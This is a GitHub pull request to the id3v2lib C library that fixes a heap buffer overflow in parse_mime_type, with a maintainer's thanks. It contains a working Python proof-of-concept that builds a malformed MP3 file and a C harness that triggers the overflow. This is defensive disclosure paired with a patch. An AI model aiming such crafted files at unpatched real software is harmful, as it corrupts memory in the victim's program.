larsbs / id3v2lib

id3v2lib is a library written in C to read and edit id3 tags from mp3 files.
BSD 2-Clause "Simplified" License
128 stars 44 forks source link

Fix buffer overflow in parse_mime_type #35

Closed KoffeinFlummi closed 4 years ago

KoffeinFlummi commented 4 years ago

parse_mime_type assumed any APIC frame contained a properly null-terminated MIME type with less than 30 characters. A maliciously crafted APIC frame (or a non-APIC frame that is mistakenly read as one) with more than those 30 characters caused parse_mime_type to write past the end of the buffer into unallocated heap memory.

To generate a malicious file the following Python script can be used:

#!/usr/bin/env python3

import struct

def syncint_encode(x):
    out = mask = 0x7f
    while mask ^ 0x7fffffff > 0:
        out = x & ~mask
        out <<= 1
        out |= x & mask
        mask = ((mask + 1) << 8) - 1
        x = out
    return out

def main():
    with open("malicious.mp3", "wb") as f:
        payload = b"A" * 4200

        # header
        major_version, minor_version = 3, 0
        flags = 0
        tag_size = syncint_encode(len(payload))
        f.write(b"ID3" + struct.pack(">bbbI", major_version, minor_version, flags, tag_size))

        # malicious frame
        frame_id = b"FrID"
        frame_size = len(payload)
        frame_flags = 0
        f.write(frame_id + struct.pack(">IH", frame_size, frame_flags) + payload)

if __name__ == "__main__":
    main()

To test I used the following example:

#include <stddef.h>
#include <stdio.h>

#include <id3v2lib.h>

int main() {
    printf("Opening file...\n");
    ID3v2_tag* tag = load_tag("malicious.mp3");

    if (tag == NULL)
        return 1;

    printf("Reading first frame as APIC frame...\n");
    ID3v2_frame_apic_content* content = parse_apic_frame_content(tag->frames->frame);

    return 0;
}

Fixed by limiting the read MIME type to 30 characters.

larsbs commented 4 years ago

Thanks a lot for your PR and the detailed explanation đŸ‘Œ